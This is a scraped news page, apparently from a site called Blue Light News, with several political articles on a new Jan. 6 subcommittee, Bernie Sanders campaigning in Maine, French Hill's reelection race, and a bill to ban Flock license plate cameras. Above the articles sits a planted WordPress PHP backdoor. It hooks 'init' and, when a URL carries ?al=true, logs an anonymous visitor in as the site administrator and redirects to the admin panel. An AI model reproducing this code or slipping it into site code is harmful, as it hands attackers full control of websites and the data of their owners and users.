// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Swalwell picked to lead Democrats on new Jan. 6 panel – Blue Light News
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Swalwell picked to lead Democrats on new Jan. 6 panel

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1 year ago

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House Minority Leader Hakeem Jeffries chose California Rep. Eric Swalwell to lead Democrats on a newly formed subcommittee to re-investigate events surrounding the riot at the Capitol on Jan. 6, 2021.

Jeffries also picked Reps. Jasmine Crockett (D-Texas) and Jared Moskowitz (D-Fla.) to sit on the panel, which was initiated by the House GOP as part of a broad effort by Republicans to rewrite the history of the Capitol attack.

Under the measure forming the panel that passed the House last week, Jeffries is entitled to suggest three names to House Speaker Mike Johnson, who holds ultimate power to name its members. A spokesperson for Johnson did not immediately respond to a request for comment on whether the speaker would approve Jeffries’ picks.

The original select panel was formed by Democrats in the immediate aftermath of the Capitol attack. At the time, Speaker Nancy Pelosi vetoed two of then-Minority Leader Kevin McCarthy’s selections for the committee, which in turn prompted McCarthy to withdraw GOP participation altogether. One Republican not recommended by McCarthy, Rep. Liz Cheney of Wyoming, later joined as vice chair.

Just as the Republican lawmakers Pelosi rejected were known as conservative firebrands, the three lawmakers Jeffries has selected are known as outspoken progressive messengers on Blue Light News and prominent critics of Trump. Republicans could cite Pelosi’s precedent in rejecting Jeffries’ slate of picks.

Jeffries accused the GOP in a statement of “trying to rewrite history and corrupt our electoral system” through the new panel. “House Democrats will continue to forcefully and aggressively push back, as we did with Donald Trump’s second impeachment and the work done by the Select Committee to Investigate the January 6th Attack on the United States Capitol,” he added

The new panel will operate under the House Judiciary Committee and will be chaired by Rep. Barry Loudermilk (R-Ga.), who has said he intends to create his own report on the events at the Capitol on Jan. 6.

Rep. Jamie Raskin (D-Md.), as ranking member of Judiciary, will also an ex officio member of the panel, according to the provision that passed the House last week. Raskin also served on the previous committee.

Meredith Lee Hill contributed to this report.

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Sanders to rally for Troy Jackson in Maine

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4 hours ago

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October 2, 2026

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Sen. Bernie Sanders will hit the road for Troy Jackson in Maine starting Oct. 10, the first time the progressive leader will stump for the candidate this cycle.

The Vermont independent plans to hold three rallies with Jackson, according to an itinerary shared first with Blue Light News: first in Bangor on Oct. 10th followed by Lewiston and Biddeford on Oct. 11.

The Maine swing will kick off Sanders’ travel for the final stretch of the midterms, covering ground throughout October for House and Senate candidates, POLITICO reported.

“Bernie and Troy know that working people built this country and deserve a government that fights for them,” Jackson spokesperson Dan Gottlieb told Blue Light News. “Susan Collins has had nearly 30 years to deliver, and working Mainers are still getting squeezed while she serves the billionaires and corporate interests who bankroll her campaigns. Mainers don’t need another six years of excuses.”

Sanders campaigned ahead of major wins for progressives in the primary season, speaking at more than 60 rallies since last year’s Fight the Oligarchy tour and endorsing more than 90 candidates up and down the ballot.

He’s also opening his substantial $23 million campaign war chest, POLITICO reported, and contributing hundreds of thousands of dollars toMinnesota Lt. Gov. Peggy Flanagan’s Senate campaign and others including Angie Nixon in Florida and Minnesota Attorney General Keith Ellison,

Sanders will return to Maine after initially backing Graham Platner’s campaign for Senate. Allegations reported by POLITICO ultimately led him to call on the Democratic nominee to drop out of the race.

Sanders had not formally endorsed Jackson since he clinched the nomination from Platner, though he previously backed Jackson’s initial run for governor.

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Hill: Trump’s ‘lack of favorability’ creating challenging politics

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5 hours ago

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October 2, 2026

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House Financial Services Chair French Hill said he has “no concerns” about winning back his Arkansas seat in the upcoming midterm elections, but the six-term House member acknowledged the political headwinds for his party.

“I consider the atmosphere a very tough political environment right now because of President [Donald] Trump’s lack of favorability at the top, and you know people are concerned about, as I say, what it’s like to live under an inflated economy the last four years,” Hill said in an interview.

Hill is in a solidly red district, according to the nonpartisan Cook Political Report, and said he is up against a “weaker candidate this time than I’ve had in past races.” Polling in the district, however, has shown a tighter race. The two polls done this year placed Democratic challenger Chris Jones ahead of Hill by a few percentage points. Any perceived polling victory for Jones is still well within the margin of error, and one of the polls had a Democratic sponsor.

Stephannie Lane Baker, a spokesperson for Jones, said that “of all the Republicans in Congress, the chairman of the Financial Services Committee doesn’t get to dodge responsibility for this economy. He’s in trouble, and he knows it.”

Additionally, Illinois Gov. JB Pritzker’s PAC, Ready for the Fight, committed more than $1 million in television ads through the next five weeks for Jones’ race in Arkansas’s 2nd District, Jordan Abudayyeh, a spokesperson for the PAC confirmed. Overall Democratic spending on advertising for the race was just over $1 million, primarily made up by contributions from the Ready for the Fight PAC, with Republicans spending almost $2.7 million on ad buys, according to AdImpact, an advertising tracking service.

Hill said he has addressed affordability concerns “head on” this Congress.

“My work on housing, my work on the Price Stability Act, my work to try to reduce waste, fraud, and abuse, and drop the federal budget deficit as a percentage of GDP,” Hill said. “All these things can contribute to a more affordable environment for people. So I’ve tried to make that a forefront of my campaign this year.”

Hill was a key architect of the 21st Century ROAD to Housing Act, a bipartisan housing affordability bill that became law in July. The Price Stability Act, which is unlikely to become law this year, would narrow the Federal Reserve’s current dual mandate of pursuing maximum employment and price stability to focus exclusively on containing inflation.

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Sanders, AOC, Merkley propose bill to ban Flock cameras

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10 hours ago

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October 2, 2026

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Rep. Alexandria Ocasio-Cortez (D-N.Y.) and Sens. Bernie Sanders (I-Vt.) and Jeff Merkley (D-Ore.) on Friday released text of legislation intended to ban the use of Flock surveillance cameras and other license plate readers.

Flock has faced severe public backlash against the surveillance technology following reports that police officers misused the technology to track women, and it has the largest network of license plate readers across the U.S. Sens. Josh Hawley (R-Mo.) and Dick Durbin (D-Ill.) hosted a hearing last month probing its potential misuses, although the company’s CEO Garrett Langley did not appear.

The latest bill, unveiled Friday and named the Ban Flock Act, would bar federal agencies from using automated license plate readers or accessing data from the technology and prevent federal grants from funding states and local governments that use automated license plate readers.

“At a time of growing concern about the unchecked power of artificial intelligence, Flock is eviscerating the very notion of privacy by installing tens of thousands of cameras in communities across America without their consent,” Sanders, who has positioned himself as a leading progressive voice on AI technology, said in a statement. “We cannot allow America to become a surveillance state where a handful of AI oligarchs profit by giving the government the power to track our every movement.”

Ocasio-Cortez similarly condemned the surveillance capabilities of the technology and said the bill would “enforce our constitutional right to privacy and protect Americans from both corporate and government surveillance.”

“No one should have this unchecked surveillance power at their fingertips,” Merkley added.

Republicans have introduced similar efforts to regulate license plate readers, such as Hawley’s Stop Flock Abuse Act, which would require audits and limits on unauthorized searches.

Flock did not immediately respond to a request for comment.

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